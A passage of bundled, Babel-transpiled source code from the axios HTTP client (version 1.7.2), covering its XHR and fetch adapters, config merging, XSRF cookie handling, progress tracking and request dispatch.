reserved names hotfix utils$1.reduceDescriptors(AxiosHeaders.prototype, function (_ref3, key) { var value = _ref3.value; var mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set` return { get: function get() { return value; }, set: function set(headerValue) { this[mapped] = headerValue; } }; }); utils$1.freezeMethods(AxiosHeaders); var AxiosHeaders$1 = AxiosHeaders; /** * Transform the data for a request or a response * * @param {Array|Function} fns A single function or Array of functions * @param {?Object} response The response object * * @returns {*} The resulting transformed data */ function transformData(fns, response) { var config = this || defaults$1; var context = response || config; var headers = AxiosHeaders$1.from(context.headers); var data = context.data; utils$1.forEach(fns, function transform(fn) { data = fn.call(config, data, headers.normalize(), response ? response.status : undefined); }); headers.normalize(); return data; } function isCancel(value) { return !!(value && value.__CANCEL__); } /** * A `CanceledError` is an object that is thrown when an operation is canceled. * * @param {string=} message The message. * @param {Object=} config The config. * @param {Object=} request The request. * * @returns {CanceledError} The created error. */ function CanceledError(message, config, request) { // eslint-disable-next-line no-eq-null,eqeqeq AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request); this.name = 'CanceledError'; } utils$1.inherits(CanceledError, AxiosError, { __CANCEL__: true }); /** * Resolve or reject a Promise based on response status. * * @param {Function} resolve A function that resolves the promise. * @param {Function} reject A function that rejects the promise. * @param {object} response The response. * * @returns {object} The response. */ function settle(resolve, reject, response) { var validateStatus = response.config.validateStatus; if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); } else { reject(new AxiosError('Request failed with status code ' + response.status, [AxiosError.ERR_BAD_REQUEST, AxiosError.ERR_BAD_RESPONSE][Math.floor(response.status / 100) - 4], response.config, response.request, response)); } } function parseProtocol(url) { var match = /^([-+\w]{1,25})(:?\/\/|:)/.exec(url); return match && match[1] || ''; } /** * Calculate data maxRate * @param {Number} [samplesCount= 10] * @param {Number} [min= 1000] * @returns {Function} */ function speedometer(samplesCount, min) { samplesCount = samplesCount || 10; var bytes = new Array(samplesCount); var timestamps = new Array(samplesCount); var head = 0; var tail = 0; var firstSampleTS; min = min !== undefined ? min : 1000; return function push(chunkLength) { var now = Date.now(); var startedAt = timestamps[tail]; if (!firstSampleTS) { firstSampleTS = now; } bytes[head] = chunkLength; timestamps[head] = now; var i = tail; var bytesCount = 0; while (i !== head) { bytesCount += bytes[i++]; i = i % samplesCount; } head = (head + 1) % samplesCount; if (head === tail) { tail = (tail + 1) % samplesCount; } if (now - firstSampleTS < min) { return; } var passed = startedAt && now - startedAt; return passed ? Math.round(bytesCount * 1000 / passed) : undefined; }; } /** * Throttle decorator * @param {Function} fn * @param {Number} freq * @return {Function} */ function throttle(fn, freq) { var timestamp = 0; var threshold = 1000 / freq; var timer = null; return function throttled() { var _arguments = arguments; var force = this === true; var now = Date.now(); if (force || now - timestamp > threshold) { if (timer) { clearTimeout(timer); timer = null; } timestamp = now; return fn.apply(null, arguments); } if (!timer) { timer = setTimeout(function () { timer = null; timestamp = Date.now(); return fn.apply(null, _arguments); }, threshold - (now - timestamp)); } }; } var progressEventReducer = (function (listener, isDownloadStream) { var freq = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : 3; var bytesNotified = 0; var _speedometer = speedometer(50, 250); return throttle(function (e) { var loaded = e.loaded; var total = e.lengthComputable ? e.total : undefined; var progressBytes = loaded - bytesNotified; var rate = _speedometer(progressBytes); var inRange = loaded <= total; bytesNotified = loaded; var data = { loaded: loaded, total: total, progress: total ? loaded / total : undefined, bytes: progressBytes, rate: rate ? rate : undefined, estimated: rate && total && inRange ? (total - loaded) / rate : undefined, event: e, lengthComputable: total != null }; data[isDownloadStream ? 'download' : 'upload'] = true; listener(data); }, freq); }); var isURLSameOrigin = platform.hasStandardBrowserEnv ? // Standard browser envs have full support of the APIs needed to test // whether the request URL is of the same origin as current location. function standardBrowserEnv() { var msie = /(msie|trident)/i.test(navigator.userAgent); var urlParsingNode = document.createElement('a'); var originURL; /** * Parse a URL to discover its components * * @param {String} url The URL to be parsed * @returns {Object} */ function resolveURL(url) { var href = url; if (msie) { // IE needs attribute set twice to normalize properties urlParsingNode.setAttribute('href', href); href = urlParsingNode.href; } urlParsingNode.setAttribute('href', href); // urlParsingNode provides the UrlUtils interface - http://url.spec.whatwg.org/#urlutils return { href: urlParsingNode.href, protocol: urlParsingNode.protocol ? urlParsingNode.protocol.replace(/:$/, '') : '', host: urlParsingNode.host, search: urlParsingNode.search ? urlParsingNode.search.replace(/^\?/, '') : '', hash: urlParsingNode.hash ? urlParsingNode.hash.replace(/^#/, '') : '', hostname: urlParsingNode.hostname, port: urlParsingNode.port, pathname: urlParsingNode.pathname.charAt(0) === '/' ? urlParsingNode.pathname : '/' + urlParsingNode.pathname }; } originURL = resolveURL(window.location.href); /** * Determine if a URL shares the same origin as the current location * * @param {String} requestURL The URL to test * @returns {boolean} True if URL shares the same origin, otherwise false */ return function isURLSameOrigin(requestURL) { var parsed = utils$1.isString(requestURL) ? resolveURL(requestURL) : requestURL; return parsed.protocol === originURL.protocol && parsed.host === originURL.host; }; }() : // Non standard browser envs (web workers, react-native) lack needed support. function nonStandardBrowserEnv() { return function isURLSameOrigin() { return true; }; }(); var cookies = platform.hasStandardBrowserEnv ? // Standard browser envs support document.cookie { write: function write(name, value, expires, path, domain, secure) { var cookie = [name + '=' + encodeURIComponent(value)]; utils$1.isNumber(expires) && cookie.push('expires=' + new Date(expires).toGMTString()); utils$1.isString(path) && cookie.push('path=' + path); utils$1.isString(domain) && cookie.push('domain=' + domain); secure === true && cookie.push('secure'); document.cookie = cookie.join('; '); }, read: function read(name) { var match = document.cookie.match(new RegExp('(^|;\\s*)(' + name + ')=([^;]*)')); return match ? decodeURIComponent(match[3]) : null; }, remove: function remove(name) { this.write(name, '', Date.now() - 86400000); } } : // Non-standard browser env (web workers, react-native) lack needed support. { write: function write() {}, read: function read() { return null; }, remove: function remove() {} }; /** * Determines whether the specified URL is absolute * * @param {string} url The URL to test * * @returns {boolean} True if the specified URL is absolute, otherwise false */ function isAbsoluteURL(url) { // A URL is considered absolute if it begins with "<scheme>://" or "//" (protocol-relative URL). // RFC 3986 defines scheme name as a sequence of characters beginning with a letter and followed // by any combination of letters, digits, plus, period, or hyphen. return /^([a-z][a-z\d+\-.]*:)?\/\//i.test(url); } /** * Creates a new URL by combining the specified URLs * * @param {string} baseURL The base URL * @param {string} relativeURL The relative URL * * @returns {string} The combined URL */ function combineURLs(baseURL, relativeURL) { return relativeURL ? baseURL.replace(/\/?\/$/, '') + '/' + relativeURL.replace(/^\/+/, '') : baseURL; } /** * Creates a new URL by combining the baseURL with the requestedURL, * only when the requestedURL is not already an absolute URL. * If the requestURL is absolute, this function returns the requestedURL untouched. * * @param {string} baseURL The base URL * @param {string} requestedURL Absolute or relative URL to combine * * @returns {string} The combined full path */ function buildFullPath(baseURL, requestedURL) { if (baseURL && !isAbsoluteURL(requestedURL)) { return combineURLs(baseURL, requestedURL); } return requestedURL; } var headersToObject = function headersToObject(thing) { return thing instanceof AxiosHeaders$1 ? _objectSpread2({}, thing) : thing; }; /** * Config-specific merge-function which creates a new config-object * by merging two configuration objects together. * * @param {Object} config1 * @param {Object} config2 * * @returns {Object} New object resulting from merging config2 to config1 */ function mergeConfig(config1, config2) { // eslint-disable-next-line no-param-reassign config2 = config2 || {}; var config = {}; function getMergedValue(target, source, caseless) { if (utils$1.isPlainObject(target) && utils$1.isPlainObject(source)) { return utils$1.merge.call({ caseless: caseless }, target, source); } else if (utils$1.isPlainObject(source)) { return utils$1.merge({}, source); } else if (utils$1.isArray(source)) { return source.slice(); } return source; } // eslint-disable-next-line consistent-return function mergeDeepProperties(a, b, caseless) { if (!utils$1.isUndefined(b)) { return getMergedValue(a, b, caseless); } else if (!utils$1.isUndefined(a)) { return getMergedValue(undefined, a, caseless); } } // eslint-disable-next-line consistent-return function valueFromConfig2(a, b) { if (!utils$1.isUndefined(b)) { return getMergedValue(undefined, b); } } // eslint-disable-next-line consistent-return function defaultToConfig2(a, b) { if (!utils$1.isUndefined(b)) { return getMergedValue(undefined, b); } else if (!utils$1.isUndefined(a)) { return getMergedValue(undefined, a); } } // eslint-disable-next-line consistent-return function mergeDirectKeys(a, b, prop) { if (prop in config2) { return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } } var mergeMap = { url: valueFromConfig2, method: valueFromConfig2, data: valueFromConfig2, baseURL: defaultToConfig2, transformRequest: defaultToConfig2, transformResponse: defaultToConfig2, paramsSerializer: defaultToConfig2, timeout: defaultToConfig2, timeoutMessage: defaultToConfig2, withCredentials: defaultToConfig2, withXSRFToken: defaultToConfig2, adapter: defaultToConfig2, responseType: defaultToConfig2, xsrfCookieName: defaultToConfig2, xsrfHeaderName: defaultToConfig2, onUploadProgress: defaultToConfig2, onDownloadProgress: defaultToConfig2, decompress: defaultToConfig2, maxContentLength: defaultToConfig2, maxBodyLength: defaultToConfig2, beforeRedirect: defaultToConfig2, transport: defaultToConfig2, httpAgent: defaultToConfig2, httpsAgent: defaultToConfig2, cancelToken: defaultToConfig2, socketPath: defaultToConfig2, responseEncoding: defaultToConfig2, validateStatus: mergeDirectKeys, headers: function headers(a, b) { return mergeDeepProperties(headersToObject(a), headersToObject(b), true); } }; utils$1.forEach(Object.keys(Object.assign({}, config1, config2)), function computeConfigValue(prop) { var merge = mergeMap[prop] || mergeDeepProperties; var configValue = merge(config1[prop], config2[prop], prop); utils$1.isUndefined(configValue) && merge !== mergeDirectKeys || (config[prop] = configValue); }); return config; } var resolveConfig = (function (config) { var newConfig = mergeConfig({}, config); var data = newConfig.data, withXSRFToken = newConfig.withXSRFToken, xsrfHeaderName = newConfig.xsrfHeaderName, xsrfCookieName = newConfig.xsrfCookieName, headers = newConfig.headers, auth = newConfig.auth; newConfig.headers = headers = AxiosHeaders$1.from(headers); newConfig.url = buildURL(buildFullPath(newConfig.baseURL, newConfig.url), config.params, config.paramsSerializer); // HTTP basic authentication if (auth) { headers.set('Authorization', 'Basic ' + btoa((auth.username || '') + ':' + (auth.password ? unescape(encodeURIComponent(auth.password)) : ''))); } var contentType; if (utils$1.isFormData(data)) { if (platform.hasStandardBrowserEnv || platform.hasStandardBrowserWebWorkerEnv) { headers.setContentType(undefined); // Let the browser set it } else if ((contentType = headers.getContentType()) !== false) { // fix semicolon duplication issue for ReactNative FormData implementation var _ref = contentType ? contentType.split(';').map(function (token) { return token.trim(); }).filter(Boolean) : [], _ref2 = _toArray(_ref), type = _ref2[0], tokens = _ref2.slice(1); headers.setContentType([type || 'multipart/form-data'].concat(_toConsumableArray(tokens)).join('; ')); } } // Add xsrf header // This is only done if running in a standard browser environment. // Specifically not if we're in a web worker, or react-native. if (platform.hasStandardBrowserEnv) { withXSRFToken && utils$1.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); if (withXSRFToken || withXSRFToken !== false && isURLSameOrigin(newConfig.url)) { // Add xsrf header var xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } } return newConfig; }); var isXHRAdapterSupported = typeof XMLHttpRequest !== 'undefined'; var xhrAdapter = isXHRAdapterSupported && function (config) { return new Promise(function dispatchXhrRequest(resolve, reject) { var _config = resolveConfig(config); var requestData = _config.data; var requestHeaders = AxiosHeaders$1.from(_config.headers).normalize(); var responseType = _config.responseType; var onCanceled; function done() { if (_config.cancelToken) { _config.cancelToken.unsubscribe(onCanceled); } if (_config.signal) { _config.signal.removeEventListener('abort', onCanceled); } } var request = new XMLHttpRequest(); request.open(_config.method.toUpperCase(), _config.url, true); // Set the request timeout in MS request.timeout = _config.timeout; function onloadend() { if (!request) { return; } // Prepare the response var responseHeaders = AxiosHeaders$1.from('getAllResponseHeaders' in request && request.getAllResponseHeaders()); var responseData = !responseType || responseType === 'text' || responseType === 'json' ? request.responseText : request.response; var response = { data: responseData, status: request.status, statusText: request.statusText, headers: responseHeaders, config: config, request: request }; settle(function _resolve(value) { resolve(value); done(); }, function _reject(err) { reject(err); done(); }, response); // Clean up request request = null; } if ('onloadend' in request) { // Use onloadend if available request.onloadend = onloadend; } else { // Listen for ready state to emulate onloadend request.onreadystatechange = function handleLoad() { if (!request || request.readyState !== 4) { return; } // The request errored out and we didn't get a response, this will be // handled by onerror instead // With one exception: request that using file: protocol, most browsers // will return status as 0 even though it's a successful request if (request.status === 0 && !(request.responseURL && request.responseURL.indexOf('file:') === 0)) { return; } // readystate handler is calling before onerror or ontimeout handlers, // so we should call onloadend on the next 'tick' setTimeout(onloadend); }; } // Handle browser request cancellation (as opposed to a manual cancellation) request.onabort = function handleAbort() { if (!request) { return; } reject(new AxiosError('Request aborted', AxiosError.ECONNABORTED, _config, request)); // Clean up request request = null; }; // Handle low level network errors request.onerror = function handleError() { // Real errors are hidden from us by the browser // onerror should only fire if it's a network error reject(new AxiosError('Network Error', AxiosError.ERR_NETWORK, _config, request)); // Clean up request request = null; }; // Handle timeout request.ontimeout = function handleTimeout() { var timeoutErrorMessage = _config.timeout ? 'timeout of ' + _config.timeout + 'ms exceeded' : 'timeout exceeded'; var transitional = _config.transitional || transitionalDefaults; if (_config.timeoutErrorMessage) { timeoutErrorMessage = _config.timeoutErrorMessage; } reject(new AxiosError(timeoutErrorMessage, transitional.clarifyTimeoutError ? AxiosError.ETIMEDOUT : AxiosError.ECONNABORTED, _config, request)); // Clean up request request = null; }; // Remove Content-Type if data is undefined requestData === undefined && requestHeaders.setContentType(null); // Add headers to the request if ('setRequestHeader' in request) { utils$1.forEach(requestHeaders.toJSON(), function setRequestHeader(val, key) { request.setRequestHeader(key, val); }); } // Add withCredentials to request if needed if (!utils$1.isUndefined(_config.withCredentials)) { request.withCredentials = !!_config.withCredentials; } // Add responseType to request if needed if (responseType && responseType !== 'json') { request.responseType = _config.responseType; } // Handle progress if needed if (typeof _config.onDownloadProgress === 'function') { request.addEventListener('progress', progressEventReducer(_config.onDownloadProgress, true)); } // Not all browsers support upload events if (typeof _config.onUploadProgress === 'function' && request.upload) { request.upload.addEventListener('progress', progressEventReducer(_config.onUploadProgress)); } if (_config.cancelToken || _config.signal) { // Handle cancellation // eslint-disable-next-line func-names onCanceled = function onCanceled(cancel) { if (!request) { return; } reject(!cancel || cancel.type ? new CanceledError(null, config, request) : cancel); request.abort(); request = null; }; _config.cancelToken && _config.cancelToken.subscribe(onCanceled); if (_config.signal) { _config.signal.aborted ? onCanceled() : _config.signal.addEventListener('abort', onCanceled); } } var protocol = parseProtocol(_config.url); if (protocol && platform.protocols.indexOf(protocol) === -1) { reject(new AxiosError('Unsupported protocol ' + protocol + ':', AxiosError.ERR_BAD_REQUEST, config)); return; } // Send the request request.send(requestData || null); }); }; var composeSignals = function composeSignals(signals, timeout) { var controller = new AbortController(); var aborted; var onabort = function onabort(cancel) { if (!aborted) { aborted = true; unsubscribe(); var err = cancel instanceof Error ? cancel : this.reason; controller.abort(err instanceof AxiosError ? err : new CanceledError(err instanceof Error ? err.message : err)); } }; var timer = timeout && setTimeout(function () { onabort(new AxiosError("timeout ".concat(timeout, " of ms exceeded"), AxiosError.ETIMEDOUT)); }, timeout); var unsubscribe = function unsubscribe() { if (signals) { timer && clearTimeout(timer); timer = null; signals.forEach(function (signal) { signal && (signal.removeEventListener ? signal.removeEventListener('abort', onabort) : signal.unsubscribe(onabort)); }); signals = null; } }; signals.forEach(function (signal) { return signal && signal.addEventListener && signal.addEventListener('abort', onabort); }); var signal = controller.signal; signal.unsubscribe = unsubscribe; return [signal, function () { timer && clearTimeout(timer); timer = null; }]; }; var composeSignals$1 = composeSignals; var streamChunk = /*#__PURE__*/_regeneratorRuntime().mark(function streamChunk(chunk, chunkSize) { var len, pos, end; return _regeneratorRuntime().wrap(function streamChunk$(_context) { while (1) switch (_context.prev = _context.next) { case 0: len = chunk.byteLength; if (!(!chunkSize || len < chunkSize)) { _context.next = 5; break; } _context.next = 4; return chunk; case 4: return _context.abrupt("return"); case 5: pos = 0; case 6: if (!(pos < len)) { _context.next = 13; break; } end = pos + chunkSize; _context.next = 10; return chunk.slice(pos, end); case 10: pos = end; _context.next = 6; break; case 13: case "end": return _context.stop(); } }, streamChunk); }); var readBytes = /*#__PURE__*/function () { var _ref = _wrapAsyncGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee(iterable, chunkSize, encode) { var _iteratorAbruptCompletion, _didIteratorError, _iteratorError, _iterator, _step, chunk; return _regeneratorRuntime().wrap(function _callee$(_context2) { while (1) switch (_context2.prev = _context2.next) { case 0: _iteratorAbruptCompletion = false; _didIteratorError = false; _context2.prev = 2; _iterator = _asyncIterator(iterable); case 4: _context2.next = 6; return _awaitAsyncGenerator(_iterator.next()); case 6: if (!(_iteratorAbruptCompletion = !(_step = _context2.sent).done)) { _context2.next = 27; break; } chunk = _step.value; _context2.t0 = _asyncGeneratorDelegate; _context2.t1 = _asyncIterator; _context2.t2 = streamChunk; if (!ArrayBuffer.isView(chunk)) { _context2.next = 15; break; } _context2.t3 = chunk; _context2.next = 18; break; case 15: _context2.next = 17; return _awaitAsyncGenerator(encode(String(chunk))); case 17: _context2.t3 = _context2.sent; case 18: _context2.t4 = _context2.t3; _context2.t5 = chunkSize; _context2.t6 = (0, _context2.t2)(_context2.t4, _context2.t5); _context2.t7 = (0, _context2.t1)(_context2.t6); _context2.t8 = _awaitAsyncGenerator; return _context2.delegateYield((0, _context2.t0)(_context2.t7, _context2.t8), "t9", 24); case 24: _iteratorAbruptCompletion = false; _context2.next = 4; break; case 27: _context2.next = 33; break; case 29: _context2.prev = 29; _context2.t10 = _context2["catch"](2); _didIteratorError = true; _iteratorError = _context2.t10; case 33: _context2.prev = 33; _context2.prev = 34; if (!(_iteratorAbruptCompletion && _iterator["return"] != null)) { _context2.next = 38; break; } _context2.next = 38; return _awaitAsyncGenerator(_iterator["return"]()); case 38: _context2.prev = 38; if (!_didIteratorError) { _context2.next = 41; break; } throw _iteratorError; case 41: return _context2.finish(38); case 42: return _context2.finish(33); case 43: case "end": return _context2.stop(); } }, _callee, null, [[2, 29, 33, 43], [34,, 38, 42]]); })); return function readBytes(_x, _x2, _x3) { return _ref.apply(this, arguments); }; }(); var trackStream = function trackStream(stream, chunkSize, onProgress, onFinish, encode) { var iterator = readBytes(stream, chunkSize, encode); var bytes = 0; return new ReadableStream({ type: 'bytes', pull: function pull(controller) { return _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee2() { var _yield$iterator$next, done, value, len; return _regeneratorRuntime().wrap(function _callee2$(_context3) { while (1) switch (_context3.prev = _context3.next) { case 0: _context3.next = 2; return iterator.next(); case 2: _yield$iterator$next = _context3.sent; done = _yield$iterator$next.done; value = _yield$iterator$next.value; if (!done) { _context3.next = 9; break; } controller.close(); onFinish(); return _context3.abrupt("return"); case 9: len = value.byteLength; onProgress && onProgress(bytes += len); controller.enqueue(new Uint8Array(value)); case 12: case "end": return _context3.stop(); } }, _callee2); }))(); }, cancel: function cancel(reason) { onFinish(reason); return iterator["return"](); } }, { highWaterMark: 2 }); }; var fetchProgressDecorator = function fetchProgressDecorator(total, fn) { var lengthComputable = total != null; return function (loaded) { return setTimeout(function () { return fn({ lengthComputable: lengthComputable, total: total, loaded: loaded }); }); }; }; var isFetchSupported = typeof fetch === 'function' && typeof Request === 'function' && typeof Response === 'function'; var isReadableStreamSupported = isFetchSupported && typeof ReadableStream === 'function'; // used only inside the fetch adapter var encodeText = isFetchSupported && (typeof TextEncoder === 'function' ? function (encoder) { return function (str) { return encoder.encode(str); }; }(new TextEncoder()) : ( /*#__PURE__*/function () { var _ref = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee(str) { return _regeneratorRuntime().wrap(function _callee$(_context) { while (1) switch (_context.prev = _context.next) { case 0: _context.t0 = Uint8Array; _context.next = 3; return new Response(str).arrayBuffer(); case 3: _context.t1 = _context.sent; return _context.abrupt("return", new _context.t0(_context.t1)); case 5: case "end": return _context.stop(); } }, _callee); })); return function (_x) { return _ref.apply(this, arguments); }; }())); var supportsRequestStream = isReadableStreamSupported && function () { var duplexAccessed = false; var hasContentType = new Request(platform.origin, { body: new ReadableStream(), method: 'POST', get duplex() { duplexAccessed = true; return 'half'; } }).headers.has('Content-Type'); return duplexAccessed && !hasContentType; }(); var DEFAULT_CHUNK_SIZE = 64 * 1024; var supportsResponseStream = isReadableStreamSupported && !!function () { try { return utils$1.isReadableStream(new Response('').body); } catch (err) { // return undefined } }(); var resolvers = { stream: supportsResponseStream && function (res) { return res.body; } }; isFetchSupported && function (res) { ['text', 'arrayBuffer', 'blob', 'formData', 'stream'].forEach(function (type) { !resolvers[type] && (resolvers[type] = utils$1.isFunction(res[type]) ? function (res) { return res[type](); } : function (_, config) { throw new AxiosError("Response type '".concat(type, "' is not supported"), AxiosError.ERR_NOT_SUPPORT, config); }); }); }(new Response()); var getBodyLength = /*#__PURE__*/function () { var _ref2 = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee2(body) { return _regeneratorRuntime().wrap(function _callee2$(_context2) { while (1) switch (_context2.prev = _context2.next) { case 0: if (!(body == null)) { _context2.next = 2; break; } return _context2.abrupt("return", 0); case 2: if (!utils$1.isBlob(body)) { _context2.next = 4; break; } return _context2.abrupt("return", body.size); case 4: if (!utils$1.isSpecCompliantForm(body)) { _context2.next = 8; break; } _context2.next = 7; return new Request(body).arrayBuffer(); case 7: return _context2.abrupt("return", _context2.sent.byteLength); case 8: if (!utils$1.isArrayBufferView(body)) { _context2.next = 10; break; } return _context2.abrupt("return", body.byteLength); case 10: if (utils$1.isURLSearchParams(body)) { body = body + ''; } if (!utils$1.isString(body)) { _context2.next = 15; break; } _context2.next = 14; return encodeText(body); case 14: return _context2.abrupt("return", _context2.sent.byteLength); case 15: case "end": return _context2.stop(); } }, _callee2); })); return function getBodyLength(_x2) { return _ref2.apply(this, arguments); }; }(); var resolveBodyLength = /*#__PURE__*/function () { var _ref3 = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee3(headers, body) { var length; return _regeneratorRuntime().wrap(function _callee3$(_context3) { while (1) switch (_context3.prev = _context3.next) { case 0: length = utils$1.toFiniteNumber(headers.getContentLength()); return _context3.abrupt("return", length == null ? getBodyLength(body) : length); case 2: case "end": return _context3.stop(); } }, _callee3); })); return function resolveBodyLength(_x3, _x4) { return _ref3.apply(this, arguments); }; }(); var fetchAdapter = isFetchSupported && ( /*#__PURE__*/function () { var _ref4 = _asyncToGenerator( /*#__PURE__*/_regeneratorRuntime().mark(function _callee4(config) { var _resolveConfig, url, method, data, signal, cancelToken, timeout, onDownloadProgress, onUploadProgress, responseType, headers, _resolveConfig$withCr, withCredentials, fetchOptions, _ref5, _ref6, composedSignal, stopTimeout, finished, request, onFinish, requestContentLength, _request, contentTypeHeader, response, isStreamResponse, options, responseContentLength, responseData; return _regeneratorRuntime().wrap(function _callee4$(_context4) { while (1) switch (_context4.prev = _context4.next) { case 0: _resolveConfig = resolveConfig(config), url = _resolveConfig.url, method = _resolveConfig.method, data = _resolveConfig.data, signal = _resolveConfig.signal, cancelToken = _resolveConfig.cancelToken, timeout = _resolveConfig.timeout, onDownloadProgress = _resolveConfig.onDownloadProgress, onUploadProgress = _resolveConfig.onUploadProgress, responseType = _resolveConfig.responseType, headers = _resolveConfig.headers, _resolveConfig$withCr = _resolveConfig.withCredentials, withCredentials = _resolveConfig$withCr === void 0 ? 'same-origin' : _resolveConfig$withCr, fetchOptions = _resolveConfig.fetchOptions; responseType = responseType ? (responseType + '').toLowerCase() : 'text'; _ref5 = signal || cancelToken || timeout ? composeSignals$1([signal, cancelToken], timeout) : [], _ref6 = _slicedToArray(_ref5, 2), composedSignal = _ref6[0], stopTimeout = _ref6[1]; onFinish = function onFinish() { !finished && setTimeout(function () { composedSignal && composedSignal.unsubscribe(); }); finished = true; }; _context4.prev = 4; _context4.t0 = onUploadProgress && supportsRequestStream && method !== 'get' && method !== 'head'; if (!_context4.t0) { _context4.next = 11; break; } _context4.next = 9; return resolveBodyLength(headers, data); case 9: _context4.t1 = requestContentLength = _context4.sent; _context4.t0 = _context4.t1 !== 0; case 11: if (!_context4.t0) { _context4.next = 15; break; } _request = new Request(url, { method: 'POST', body: data, duplex: "half" }); if (utils$1.isFormData(data) && (contentTypeHeader = _request.headers.get('content-type'))) { headers.setContentType(contentTypeHeader); } if (_request.body) { data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, fetchProgressDecorator(requestContentLength, progressEventReducer(onUploadProgress)), null, encodeText); } case 15: if (!utils$1.isString(withCredentials)) { withCredentials = withCredentials ? 'cors' : 'omit'; } request = new Request(url, _objectSpread2(_objectSpread2({}, fetchOptions), {}, { signal: composedSignal, method: method.toUpperCase(), headers: headers.normalize().toJSON(), body: data, duplex: "half", withCredentials: withCredentials })); _context4.next = 19; return fetch(request); case 19: response = _context4.sent; isStreamResponse = supportsResponseStream && (responseType === 'stream' || responseType === 'response'); if (supportsResponseStream && (onDownloadProgress || isStreamResponse)) { options = {}; ['status', 'statusText', 'headers'].forEach(function (prop) { options[prop] = response[prop]; }); responseContentLength = utils$1.toFiniteNumber(response.headers.get('content-length')); response = new Response(trackStream(response.body, DEFAULT_CHUNK_SIZE, onDownloadProgress && fetchProgressDecorator(responseContentLength, progressEventReducer(onDownloadProgress, true)), isStreamResponse && onFinish, encodeText), options); } responseType = responseType || 'text'; _context4.next = 25; return resolvers[utils$1.findKey(resolvers, responseType) || 'text'](response, config); case 25: responseData = _context4.sent; !isStreamResponse && onFinish(); stopTimeout && stopTimeout(); _context4.next = 30; return new Promise(function (resolve, reject) { settle(resolve, reject, { data: responseData, headers: AxiosHeaders$1.from(response.headers), status: response.status, statusText: response.statusText, config: config, request: request }); }); case 30: return _context4.abrupt("return", _context4.sent); case 33: _context4.prev = 33; _context4.t2 = _context4["catch"](4); onFinish(); if (!(_context4.t2 && _context4.t2.name === 'TypeError' && /fetch/i.test(_context4.t2.message))) { _context4.next = 38; break; } throw Object.assign(new AxiosError('Network Error', AxiosError.ERR_NETWORK, config, request), { cause: _context4.t2.cause || _context4.t2 }); case 38: throw AxiosError.from(_context4.t2, _context4.t2 && _context4.t2.code, config, request); case 39: case "end": return _context4.stop(); } }, _callee4, null, [[4, 33]]); })); return function (_x5) { return _ref4.apply(this, arguments); }; }()); var knownAdapters = { http: httpAdapter, xhr: xhrAdapter, fetch: fetchAdapter }; utils$1.forEach(knownAdapters, function (fn, value) { if (fn) { try { Object.defineProperty(fn, 'name', { value: value }); } catch (e) { // eslint-disable-next-line no-empty } Object.defineProperty(fn, 'adapterName', { value: value }); } }); var renderReason = function renderReason(reason) { return "- ".concat(reason); }; var isResolvedHandle = function isResolvedHandle(adapter) { return utils$1.isFunction(adapter) || adapter === null || adapter === false; }; var adapters = { getAdapter: function getAdapter(adapters) { adapters = utils$1.isArray(adapters) ? adapters : [adapters]; var _adapters = adapters, length = _adapters.length; var nameOrAdapter; var adapter; var rejectedReasons = {}; for (var i = 0; i < length; i++) { nameOrAdapter = adapters[i]; var id = void 0; adapter = nameOrAdapter; if (!isResolvedHandle(nameOrAdapter)) { adapter = knownAdapters[(id = String(nameOrAdapter)).toLowerCase()]; if (adapter === undefined) { throw new AxiosError("Unknown adapter '".concat(id, "'")); } } if (adapter) { break; } rejectedReasons[id || '#' + i] = adapter; } if (!adapter) { var reasons = Object.entries(rejectedReasons).map(function (_ref) { var _ref2 = _slicedToArray(_ref, 2), id = _ref2[0], state = _ref2[1]; return "adapter ".concat(id, " ") + (state === false ? 'is not supported by the environment' : 'is not available in the build'); }); var s = length ? reasons.length > 1 ? 'since :\n' + reasons.map(renderReason).join('\n') : ' ' + renderReason(reasons[0]) : 'as no adapter specified'; throw new AxiosError("There is no suitable adapter to dispatch the request " + s, 'ERR_NOT_SUPPORT'); } return adapter; }, adapters: knownAdapters }; /** * Throws a `CanceledError` if cancellation has been requested. * * @param {Object} config The config that is to be used for the request * * @returns {void} */ function throwIfCancellationRequested(config) { if (config.cancelToken) { config.cancelToken.throwIfRequested(); } if (config.signal && config.signal.aborted) { throw new CanceledError(null, config); } } /** * Dispatch a request to the server using the configured adapter. * * @param {object} config The config that is to be used for the request * * @returns {Promise} The Promise to be fulfilled */ function dispatchRequest(config) { throwIfCancellationRequested(config); config.headers = AxiosHeaders$1.from(config.headers); // Transform request data config.data = transformData.call(config, config.transformRequest); if (['post', 'put', 'patch'].indexOf(config.method) !== -1) { config.headers.setContentType('application/x-www-form-urlencoded', false); } var adapter = adapters.getAdapter(config.adapter || defaults$1.adapter); return adapter(config).then(function onAdapterResolution(response) { throwIfCancellationRequested(config); // Transform response data response.data = transformData.call(config, config.transformResponse, response); response.headers = AxiosHeaders$1.from(response.headers); return response; }, function onAdapterRejection(reason) { if (!isCancel(reason)) { throwIfCancellationRequested(config); // Transform response data if (reason && reason.response) { reason.response.data = transformData.call(config, config.transformResponse, reason.response); reason.response.headers = AxiosHeaders$1.from(reason.response.headers); } } return Promise.reject(reason); }); } var VERSION = "1.7.2"; var validators$1 = {}; // eslint-disable-next-line func-names ['object', 'boolean', 'number', 'function', 'string', 'symbol'].forEach(function (type, i) { validators$1[type] = function validator(thing) { return _typeof(thing) === type || 'a' + (i < 1 ? 'n ' : ' ') + type; }; }); var deprecatedWarnings = {}; /** * Transitional option validator * * @param {function|boolean?} validator - set to false if the transitional option has been removed * @param {string?} version - deprecated version / removed since version * @param {string?} message - some message with additional info * * @returns {function} */ validators$1.transitional = function transitional(validator, version, message) { function formatMessage(opt, desc) { return '[Axios v' + VERSION + '] Transitional option \'' + opt + '\'' + desc + (message ? '. ' + message : ''); } // eslint-disable-next-line func-names return function (value, opt, opts) { if (validator === false) { 